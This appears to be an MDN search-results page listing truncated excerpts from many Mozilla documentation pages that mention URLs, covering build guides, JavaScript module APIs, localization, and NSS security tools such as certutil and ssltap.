at any point during while your browser is running, you can turn logging on and off. this allows you to capture only the "interesting" part of the browser's behavior (i.e. your bug), which makes the http log much smaller and easier to analyze. launch the browser and get it into whatever state you need to be in just before your bug occurs. open a new tab and type in "about:networking" into the
url bar. go to the "logging section" adjust the location of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log environment variable (see below). generally the default list is ok, unless a mozilla developer has told you to modify it. click on start logging. reproduce the bug (i.e. go to the web site that ...
Old Thunderbird build
full rebuild: ./mozilla/mach build problems building? have you: check comm-central on treeherder for known failures at the time you pulled the code. the current status of the trunk can also be checked at https://treestatus.mozilla.org/ if the trunk is broken (i.e. closed), you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction). on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files are not bundled with visual studio 2013/2015 (windows sdk 8.1/10). you should copy the header files to a windows sdk include directory so that the build process will find the files, for ex...
Simple Instantbird build
ems building? have you: tried a clobber? this means deleting the object directory so that your next build is completely fresh. to do this you can use mach clobber checked the instantbird buildbot for known failures at the time you pulled the code? if the trunk is broken, you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction). checked to make sure that the path in which you placed the source code has no spaces, and is not too long? have you searched the bug database for issues relating to your problem (e.g., platform-specific issues)? try asking in mozilla.dev.chat - don't forget to include details of what is in your mozconfig, and what the actual error is. refe...
Simple Sunbird build
ghtning. please refer to the simple thunderbird build guide. you can build a bleeding-edge, development version of sunbird using the commands below. for complete information, see the build documentation. installing build tools if your system is not listed below, see the build prerequisites page. ubuntu linux: sudo apt-get build-dep sunbird sudo apt-get install mercurial libasound2-dev libc
url4-openssl-dev libnotify-dev libiw-dev autoconf2.13 cvs fedora linux: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel mac: install xcode tools. insert "mac os x install disc 2", then open xcodetools.mpkg. (for some mac os x version...
Simple Thunderbird build
run the full rebuild: ./mach build problems building? have you: check comm-central on treeherder for known failures at the time you pulled the code. the current status of the trunk can also be checked at https://treestatus.mozilla.org/ if the trunk is broken (i.e. closed), you may wish to consider building one of the branches (to pull the source code from a branch, just replace the
url to the repository in the hg clone instruction). check to make sure that the path in which you placed the source code has no spaces, and is not too long. searched the bug database for issues relating to your problem (e.g., platform-specific issues). try asking in mozilla.dev.builds - include details of what is in your mozconfig, and what the actual error is. check if your mozilla/ is a sy...
Reviewer Checklist
should be no writing to arbitrary files outside the profile folder. be careful when reading user input, network input, or files on disk. assume that inputs will be too big, too short, empty, malformed, or malicious. tag for sec review if unsure. if you're writing code that uses jsapi, chances are you got it wrong. try hard to avoid doing that. privacy issues there should be no logging of
urls or content from which
urls may be inferred. [fennec: android services has logger.pii() for this purpose (e.g., logging profile dir)]. tag for privacy review if needed. resource leaks in java, memory leaks are largely due to singletons holding on to caches and collections, or observers sticking around, or runnables sitting in a queue. in c++, cycle-collect as needed. if javascript can see...
Error codes returned by Mozilla APIs
ns_error_xslt_parse_failure (0x80600001) ns_error_xslt_already_set (0x80600003) ns_error_xslt_execution_failure (0x80600004) ns_error_xslt_bad_recursion (0x80600006) ns_error_xslt_bad_value (0x80600007) ns_error_xslt_nodeset_expected (0x80600008) ns_error_xslt_aborted (0x80600009) ns_error_...
Index
s the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. 11 firefox and the "about" protocol firefox, guide, mozilla, protocols there is a lot of useful information about firefox hidden away behind the about:
url protocol. the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed. 141 index firefox, index, mozilla found 168 pages: 142 linux compatibility matrix the following table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox. ...
Partitioned: All third-party storage access requests
message firefox: cookiepartitionedforeign=partitioned cookie or storage access was provided to “<
url>” because it is loaded in the third-party context and storage partitioning is enabled. what went wrong? a request to access cookies or storage was partitioned because it came from a third-party (a different origin) and dynamic first-party isolation is enabled. ...
Security best practices for Firefox front-end engineers
rance team maintains an eslint rule that disallows unsafe uses of innerhtml and similar dom apis. the linter makes an exception for code that uses string literals that are hard coded in the source code, assuming benevolent developers. developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${
url}'>about</a>`; in system-privileged chrome code, any kind of remaining scripts will still be removed by our sanitizer. appendix list of disallowed dom apis innerhtml outerhtml insertadjacenthtml() createcontextualfragment() document.write() document.writeln() please take a look at the repository for an updated list ...
Firefox
o get and compile the firefox source code, how to find your way around, and how to contribute to the project. contents experimental features in firefoxthis page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.firefox and the "about" protocolthere is a lot of useful information about firefox hidden away behind the about:
url protocol. the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way. one example is the new tab page, which includes a "top sites"...
HTMLIFrameElement.getScreenshot()
ned; if not specified, the default used is image/jpeg. use image/png to capture the alpha channel of the rendered result by returning a png-format image. this lets you get a transparent background for the content <iframe>. examples var browser = document.queryselector('iframe'); var request = browser.getscreenshot(100, 100); request.onsuccess = function() { var blob = request.result; var
url =
url.createobject
url(blob); } specification not part of any specification. ...
mozbrowsercontextmenu
fined via <menu> / <menuitem> elements and pointed to via a contextmenu attribute on the dom element clicked on, which contains the menu's id. contextmenuitemselected an anonymous function that fires when a menu item is selected. the menusystem object an object defining a standard context menu that will be displayed. its properties are as follows: documenturi a domstring representing the
url of the document the menu is associated with. uri a domstring. in the case of an image or video context menu, this is the src of the image or video clicked on to get the context menu. in the case of an link context menu, it is the link's href. text a domstring representing the text of the link clicked on, in the case of a link context menu. hasvideo a boolean. in the case of a video context ...
mozbrowsericonchange
mstring listing the sizes the new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. ...
mozbrowseropensearch
ean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: title a domstring representing the title of the search engine. href a domstring representing
url of the search engine. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserl...
Browser API
used only by the firefox devtools at this point). see bug 1503070 for more details. the methods removed in firefox 65 are: htmliframeelement.addnextpaintlistener() defines a handler to listen for the next mozafterpaint event in the browser <iframe>. htmliframeelement.clearmatch() clears any content highlighted by findall() or findnext(). htmliframeelement.download() downloads a specified
url, storing it at the specified filename/path. htmliframeelement.executescript() allows a specified script to be executed against a page loaded in the browser <iframe>. htmliframeelement.findall() searches for a string in a browser <iframe>'s content; if found, the first instance of the string relative to the caret position will be highlighted. htmliframeelement.findnext() highlights the next ...
ChromeWorker
t. it works exactly like a standard worker, except that it has access to js-ctypes via a global ctypes object available in the global scope of the worker. examples of chromeworker's using js-ctypes are availabe on github and are linked to from the see also section below. to use a postmessage with callback version of chromeworker that features promises, see promiseworker. addons must use absolute
urls to load their workers, and those
urls have to be using a chrome:// or resource:// protocol (file:// is not accepted). addons that wish to use file://
urls must first register a resource replacement path, using code like this: var fileuri = services.io.newfileuri(file); services.io.getprotocolhandler('resource'). queryinterface(ci.nsiresprotocolhandler). setsubstituti...
Embedding Tips
needed for authentication. your own implementation should pose this dialog, or fill in the values that are needed for the upload to succeed. how do i know when saving is done, monitor progress etc.? register your ownnsiwebprogresslistener object to listen for progress and state notifications. here is a simple example which demonstrates the principle. the simplepersist() function takes a string
url and a string file path. in response it creates a persist object, creates a listener and starts the operation. as the operation progresses, methods on the listener such as onstatechange, onprogresschange etc. are called, allowing the embedder to know what is happening. when the operation is completed, the onstatechange will be notified by a combination of state_stop | state_is_network state flags.
HTML parser threading
eculative http fetches for images (including video poster frames), style sheets and scripts. additionally, the speculative load queue is used for transferring information from the parser thread to the main thread when the information needs to arrive before starting any speculative loads and when the information is known not to be speculative. there are two such pieces of information: the manifest
url for an app cache manifest and the character encoding for the document. ...
Getting Started with Chat
re connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our community participation guidelines is a requirement for participation. try to keep messages as concise as possible. if you have something long to post, a code snippet for example, use paste.mozilla.org and paste the generated
url in irc instead. when addressing someone directly, try to use name: message format. for example, "ashughes: good morning!" every channel has its own topic. try to keep your messages within that subject matter. for example, do not talk about thunderbird issues in #firefox. mozilla's channels are most active between 9am and 7pm pst monday to friday, excluding us holidays. when asking a question,...
How Mozilla determines MIME Types
the file. helper applications a somewhat related issue are the helper applications. when loading an uri with a type that mozilla can not handle, a helper app dialog shows up, and the displayed information comes from these sources: ask the os for a handler of the given <extension, mime type> pair. note that the extension here comes from the content-disposition header if present, and from the
url itself otherwise. this is where the listed "default application" comes from. the "data source" (that is, the list of helper applications) is searched for an entry with the mime type of the uri. the data source is the mimetypes.rdf file in the profile directory. if this fails, the data source is searched via the extension (content-disposition as above). if one of these lookups succeed, this is wh...
How to get a process dump with Windows Task Manager
is experiencing a hang. this article describes how to get a process dump with task manager on windows. (to get a process dump for thunderbird or some other product, substitute the product name where ever you see firefox in these instructions.) caution the memory dump that will be created through this process is a complete snapshot of the state of firefox when you create the file, so it contains
urls of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken. it is advisable to create a new, blank profile to use when reproducing the hang and capturing the memory dump. please ask for help doing this! requirements windows to get a process dump, you need to be using windows vista or above. a firefox nightly or release y...
How to implement a custom autocomplete search component
ype="autocomplete" autocompletesearch="history"/> the type="autocomplete" turns on the autocomplete mechanism and the autocompletesearch="history" sets the source for the autocomplete. there are more options and features, see xul:textbox_(firefox_autocomplete) for more details. the toolkit mechanism has built-in support for several autocomplete sources, including: history: search the browser's
url history (firefox: 1.0+; seamonkey: 1.1+) form-history: search the values that the user has entered into form fields. (firefox: 1.0+; seamonkey: 2.0+) file: search file names (firefox: 2.0+; thunderbird: 2.0+; seamonkey: 1.1+; gtk builds only). the component uses the autocompletesearchparam attribute or searchparam property to allow the developer to define the default directory otherwise only pa...
Integrated Authentication
engage in spnego authentication with the browser. this list is intended to be configured by an it department prior to distributing mozilla to end-users. the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of
url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server. network.automatic-ntlm-auth.trusted-uris lists the truste...
AddonInstall
an addoninstall instance tracks download and installation process of an add-on. instances can be created using the getinstallforfile() or getinstallfor
url() methods on the addonmanager. once you have an instance the install() method is used to start automatic download and installation. this can be canceled at any time with the cancel() method. method overview void install() void cancel() void addlistener(in installlistener listener) void removelistener(in installlistener listener) properties attribute type description name string the name of the add-on being installed. version string the version of the add-on being installed. icon
url string the icon of the add-on being installed. ...
UpdateInfo
updateinfo objects hold information about available versions of add-ons and are generated as a result of an update check performed by addonupdatechecker. attributes attribute type description version string the version of the update. update
url string the update
url that the update can be downloaded from. updatehash string a hash for the update's file. updateinfo
url string a
url containing simple release notes for the update. targetapplications object[] information about what applications the update is compatible with. each item in the array contains "id", "minversion", and "maxversion" properties. ...
DownloadSource
isprivate read only boolean indicates whether the download originated from a private window. ...
Downloads.jsm
ties ); parameters aproperties provides the initial properties for the newly created download. this matches the serializable representation of a download object. some of the most common properties in this object include: source: string containing the uri for the download source. alternatively, may be an nsiuri, a downloadsource object, or an object with the following properties:
url: string containing the uri for the download source. isprivate: optional indicates whether the download originated from a private window. if omitted, the download is public. referrer: optional string containing the referrer uri of the download source. can be omitted or null if no referrer should be sent or the download source is not http. target: string containing the path of the ...
Http.jsm
to the post requests. the data can be specified via postdata option. postdata can be of 2 different types: a string or an array of parameters. when null/undefined is given, no post data will be attached. if a string is given the data will be appended to the request as is. in case an array of parameters is given, it will be treated as an array of key-value pairs. the elements of the array will be
url-encoded and "application/x-www-form-
urlencoded; charset=utf-8" will be enforced as the content type. http.jsm only forces the content type if the post data is an array, and it serializes it automatically. if the provided postdata is a string, the content type isn't touched. in this case, the content type may be set through the headers parameter. additional xhr configuration it is possible to mo...
NetUtil.jsm
o the callback. note: prior to gecko 2, the input source was required to be specified as an nsichannel. note: support for specifying an nsiinputstream as the input source was added in gecko 5. asyncfetch( asource, acallback ); parameters asource the source to open asynchronously. this may be specified as an nsiuri, nsifile, nsichannel, nsiinputstream or as a string specifying the
url to open. acallback a function that will be called when the open operation is completed. the callback receives three parameters: the input stream containing the data, if any (implementing nsiinputstream), an nsresult status code for the open operation, and a reference to the nsirequest object. exceptions thrown this method throws an exception with the message "must have a source and a callbac...
PopupNotifications.jsm
n events below. nevershow notifications with this parameter set to true will be removed when they would have otherwise been dismissed (i.e. any time the popup is closed due to user interaction). removeondismissal notifications with this parameter set to true will be removed when they would have otherwise been dismissed (that is, any time the popup is closed due to user interaction). popupicon
url a string specifying the
url of the image to be displayed in the popup. this is normally specified in css using list-style-image and the .popup-notification-icon[popupid=...] selector. learnmore
url a string
url. setting this property will make the prompt display a "learn more" link that, when clicked, opens the
url in a new tab. notification events if you specify an event callback using the...
Services.jsm
up application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service
urlformatter nsi
urlformatter
url formatter service vc nsiversioncomparator version comparator service wm nsiwindowmediator window mediator service ww nsiwindowwatcher window watcher service 1 mobile only 2 windows only 3 main process only 4 child process only ...
Using workers in JavaScript code modules
avascript code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_
url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified
url (in this case, "script_
url.js"). for example, "script_
url.js" can be "chrome://extension_name/content/script.js". ...
XPCOMUtils.jsm
bject during execution of the function. definelazymodulegetter() defines a getter on a specified object for a module. the module will not be imported until first use. function definelazymodulegetter( aobject, aname, aresource, asymbol ); parameters aobject the object to define the lazy getter on. aname the name of the getter to define on aobject for the module. aresource the
url used to obtain the module. asymbol the name of the symbol exported by the module. this parameter is optional and defaults to aname. definelazyservicegetter() defines a function on a specified object which acts as a getter for a service. the service isn't obtained until the first time it's used. function definelazyservicegetter( aobject, aname, acontract, ainterfacename ); paramete...
JavaScript code modules
onvert between javascript date objects and iso 8601 date strings. log.jsm (formerly log4moz) provides a log4j style api for logging, log messages to various endpoints, such as the browser console or a file on disk. netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously. openlocationlast
url.jsm provides access to the last
url opened using the "open location" option in the file menu. osfile.jsm allows routines to access files. to which can be read, write, rename, create directories,etc. perfmeasurement.jsm provides access to low-level hardware and os performance measurement tools. pluralform.jsm supplies an easy way to get the correct plural forms for the current locale, as we...
Application Translation with Mercurial
, mostly depending on the performance of the hard drive. extract the files: hg update obtaining the texts of your localization go back to the parent folder of mozilla-aurora: cd .. find the localization repository for your branch and language on http://hg.mozilla.org/ e.g. for aurora and german (language code 'de'), it is http://hg.mozilla.org/releases/l10n/mozilla-aurora/de/ copy that
url to the clipboard. copy the repository to your computer by running the following command: hg clone http://hg.mozilla.org/releases/l10n/mozilla-aurora/de/ de-mozilla-aurora this should proceed pretty fast. on windows, you can paste the
url by calling the paste command from the window menu in the upper left corner of the window. configuring your mercurial user settings still in the command...
Bootstrapping a new locale
access the service. once you have that account, send the l10n-drivers the details to be added as a "writer". with that level of authority, you will be able to push and pull and manage the repository remotely. it will be just like working on hg with mozilla, yet you will use the bit bucket platform to start. after your new bit bucket repository is created by the l10n-drivers, please visit the
url for your repo. you can do this by entering the following
url into your browser: $ https://bitbucket.org/mozillal10n/ab-cd/overview/ (where ab-cd will be replaced by your locale code) at that main page of your newly created bit bucket repo, you'll see the hg commands, $ hg clone http://bitbucket.org/mozillal10n/ab-cd/ ... $ hg pull -u # to pull changes and update $ hg push # to push changes ...
Localizing extension descriptions
add the following line to it (where extension_id matches your application id from install.rdf and path_to_localization_file is the chrome path to the localization file you added to earlier): pref("extensions.extension_id.description", "path_to_localization_file"); localizable strings the following add-on metadata can be localized using this process: name description creator homepage
url localizable lists in cases where multiple values can exist, a numeric index is appended to the end of the preference name: extensions.extension_id.contributor.1=first_localized_contributor_name extensions.extension_id.contributor.2=second_localized_contributor_name extensions.extension_id.contributor.3=thrid_localized_contributor_name pref("extensions.extension_id.contributor.1", "path_to_lo...
Localizing with Pontoon
cales. search almost like machinery, but takes provided keyword as input parameter instead of the original string. by clicking a suggestion, it gets copied into translation area. publishing your localization suppose you now want to publish your l10n work by committing it to a repo. pontoon lets you do that too! actually, it does that for you by automatically syncing with repositories on ho
urly basis. you can now pat yourself on the back, do a little dance, go to sleep or do something else to celebrate your work! ...
SVN for Localizers
ll always add needed files to your repository or update your files with new strings in english. it's very important for you to update your working copy with the newest files from mozilla svn repository before you start making changes. enter the following command from the command-line: svn update your local svn repository (i.e., working directory) will be updated with the newest files from the
url you initially cloned your repository from. it's very important that you do this often. as a general rule, you should at least do it before translating anything. sometimes mistakes happen and you need to start over. go back to the root of your working directory and execute this command: svn revert * this is a really helpful command because it reverts all of your changes to your working dire...
Creating localizable web content
e the code to display the video in an overlayed video player on the page instead of linking to a video section in english. per-locale customizations check if there are alternative links for localized pages (e.g., links to mdn, addons.mozilla.org, or other external resources, are there translated equivalents we can use). if there are alternatives, use them by adding the $lang; parameter in the
urls evaluate the impact of new pages on all our web properties, especially links to community sites and redirects. sometimes you can leave some freedom of modification for a block of text so that the localizers link to relevant local resources. images check that images are not going to be a problem for the audience (cultural references, positionning, mirroring for rtl, text in images...) and spo...
Basics
tretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image:
url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mfrac> - fractions
se'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image:
url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Mozilla Web Services Security Model
!] ability to load documents via xmlhttprequest or similar mechanisms. soap soap requests without verification headers soapv soap requests with verification headers the from attribute the from attribute on the allow element says which calling sites the allow element applies to. if there is no from attribute then the allow element applies to all sites. the from attribute otherwise gives a
url to match, which may contain up to two asterisks (*) that match any characters in the
url. the match is done against a
url from which the directory and file have been removed, so trying to match a specific page will cause the entire match to fail. (is this correct?) web-scripts-access.xml examples these examples are untested! somebody should test them to make sure they do what is claimed. allow...
Investigating leaks using DMD heap scan mode
ddress of the leaking object, usually a window. conveniently, you can usually do both at once using the cycle collector log. if you are investigating a leak of www.example.com, then from $logdir you can do "grep nsglobalwindow cc-edges* | grep example.com". this looks through all of the windows in all of the cc logs (which may leaked, this late in shutdown), and then filters out windows where the
url contains example.com. the result of that grep will contain output that looks something like this: cc-edges.15873.log:0x7f0897082c00 [rc=1285] nsglobalwindowinner # 2147483662 inner https://www.example.com/ * cc-edges.15873.log: the first part is the file name where it was found. 15873 is the pid of the process that leaked. you'll want to write down the name of the file and the pid. let's call ...
Gecko Profiler FAQ
) requires the signal occur on the calling thread, not a random thread. itimer_prof interrupts the then-running thread, whichever one it is. is there a way to isolate or filter a profile (at least of mainthread and maybe one or two other ones that make sense) to a specific tab/document/eventqueue? currently not. some functions (reflow, painting, js excecution) insert the
url of the associated document into the call stack frame, so you can get a rough idea, but we don’t have instrumentation at the tab/document/eventqueue level. for isolated profiles i recommend profiling a separate browser instance with only the tab that you’re interested in. what are the recommended native profilers across all os's? mac: instruments; linux: pe...
about:memory
"resident". physical memory usage. if you want a single measurement to summarize memory usage, this ...
Preference reference
age" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.
urlbar.formatting.enabledthe preference browser.
urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.
urlbar.trim
urlsthe preference browser.
urlbar.trim
urls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) ...
Preferences system
e window size does not change as the selected panel is changed (e.g. windows). usage in xulrunner applications when calling opendialog() to open a preferences dialog, "toolbar" should be included in the features string. ...
A guide to searching crash reports
there is an extremely long tail. these results would be improved by using numeric ranges instead of individual values, but unfortunately that isn't supported. advanced usage the combination of searching and grouping is powerful. searches find crash reports that match particular criteria, and grouping organizes those crash reports into interesting groups. when a search is performed, the page's
url is updated to include the search parameters. this means that the results of any search can be easily shared by copying and pasting the page's
url. to become an expert at searching and grouping requires understanding the full range of the 100+ fields available for searching and grouping. one way to learn about them is to read lots of individual crash reports; note that all fields shown in the det...
L20n Javascript API
ocales('en-us', ['en-us', 'fr', 'pl']); ctx.requestlocales('fr-ca', 'fr'); ctx.ready(function() { // ctx.supportedlocales == ['fr']; }); ctx.addresource(text: string) add a string as the content of a resource to the context instance. the resource is added to all registered locales. ctx.addresource('<hello "hello, world!">'); ctx.linkresource(uri: string) add a resource identified by a
url to the context instance. the resource is added to all registered locales. ctx.linkresource('../locale/strings.l20n'); ctx.linkresource(template: function) add a resource identified by a
url to the context instance. the
url is constructed dynamically when you call requestlocales. the function passed to linkresource (called a template function) takes one argument which is the code of the curr...
AsyncTestUtils extended framework
t take care of all of this, so all you need to do is pass their return values through. for example, you would do "yield async_move_messages(...);" and be done with it. helpers for the asynchronous function contract it can be annoying to have to write interface boilerplate just to call async_driver. if you have the following types of listeners you can use the following pre-defined helpers: nsi
urllistener: async
urllistener (predefined). if you need to wrap an existing
url listener or need a callback or fancy promise, create an instance of async
urllistener. copy listener: asynccopylistener. bringing messages into the picture synthetic set definitions most of the code involved in creating synthetic messages takes an object that defines how to generate the set. the following is a list...
NSS 3.12.9 release notes
decrypt_cbc_256] bug 444367: nss 3.12 softoken returns the certificate type of a certificate object as ckc_x_509_attr_cert. bug 620908: certutil -t -d "sql:." dumps core bug 584257: need a way to expand partial private keys. ...
Notes on TLS - SSL 3.0 Intolerant Servers
ssl | enable tls is turned on. if so, turn it off. now re-visit the problem site. if the content displays this time, you are most likely witnessing a tls/ssl 3.0 intolerant server. report such a problem to the server's administrator. how to report an intolerant server optional:get the name of the ssl server software used by the website. to do so, add http://toolbar.netcraft.com/site_report?
url= to the beginning of the
url. the server software will appear next to server under ssl certificate information. for instance, to check https://bugzilla.mozilla.org/, then visit http://toolbar.netcraft.com/site_rep...a.mozilla.org/. add the information on such a server (software,
url) to bug 59321 at bugzilla. (note: you will be asked to provide your email address before you can file a bug a...
Python binding for NSS
e the examples the unit tests are geared towards testing rather than expository illustration. other documentation the doc directory contains other files you may wish to review. how to report a bug python-nss bugs are currently being tracked in the red hat bugzilla system for fedora. you can enter a bug report here. source download area source downloads are maintained here. links to download
url for a specific release can be found in the release information section. mozilla source code management (scm) information on march 21, 2013 the nss project switched from using cvs as it's source code manager (scm) to mercurial, also known as hg. all prior cvs information (including release tags) were imported into the new mercurial repositories, as such there is no need to utilize the deprecated...
NSS functions
andshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_reveal
url mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_set
url mxr 3.2 and later ssl_shutdownserversessionidcache mxr 3.7.4 and later deprecated ssl functions the followi...
NSS tools : certutil
name, as the correct issuer of a certificate. the certificate database tool will prompt you to select the authority key id extension. x.509 certificate extensions are described in rfc 5280. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the
url of a certificate's associated certificate revocation list (crl). certutil prompts for the
url. x.509 certificate extensions are described in rfc 5280. -5 | --nscerttype keyword,keyword add a netscape certificate type extension to a certificate that is being created or added to the database. there are several available keywo...
NSS tools : ssltab
and with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the
url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent...
NSS tools : ssltap
and with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the
url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent...
NSS tools : vfychain
tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia
url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trusted (overrides db trust) -u usage 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, 4=email signer, ...
sslerr.html
"peer user canceled handshake." ssl_error_no_renegotiation_alert -12186 "peer does not permit renegotiation of ssl security parameters." ssl_error_unsupported_extension_alert -12184 "ssl peer does not support requested tls hello extension." ssl_error_certificate_unobtainable_alert -12183 "ssl peer could not obtain your certificate from the supplied
url." ssl_error_unrecognized_name_alert -12182 "ssl peer has no certificate for the requested dns name." ssl_error_bad_cert_status_response_alert -12181 "ssl peer was unable to get an ocsp response for its certificate." ssl_error_bad_cert_hash_value_alert -12180 "ssl peer reported bad certificate hash value." unspecified errors that occurred ...
SSL functions
andshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_reveal
url mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_set
url mxr 3.2 and later ssl_shutdownserversessionidcache mxr 3.7.4 and later ...
NSS_3.12.3_release_notes.html
ibute is encoded in the wrong way: missing encapsulating octet string bug 480442: remove (empty) watcomfx.h from nss bug 481216: fix specific spelling errors in nss bug 482702: ocsp test with revoked ca cert validated as good. bug 483113: add environment variable to disable/enable hash algorithms in cert/crl signatures bug 483168: nss callback api for looking up a default ocsp responder
url bug 483963: assertion failure in ocsp tests. bug 484425: need accessor function to retrieve symkey handle bug 484466: sec_error_invalid_args with nss_enable_pkix_verify=1 bug 485127: bltest crashes when attempting rc5_cbc or rc5_ecb bug 485140: wrong command line flags used to build intel-aes.s with solaris gas for x86_64 bug 485370: crash bug 485713: files added by red hat recently...
NSS Tools certutil
ate database tool will prompt you to select the authority keyid extension. authority key id extensions are described under standard x.509 v3 certificate extensions in appendix b.3 of thered hat certificate system administration guide. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the
url of a certificate's associated certificate revocation list (crl). the certificate database tool prompts you to enter the
url. crl distribution point extensions are described in standard x.509 v3 certificate extensions in appendix a.3 of thered hat certificate system administration guide. -5 add a netscape certificate type extension to a certificate that is being creat...
NSS Tools ssltap
with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: ssltap www.netscape.com:80 the program waits for an incoming connection on the default port 1924. in your browser window, enter the
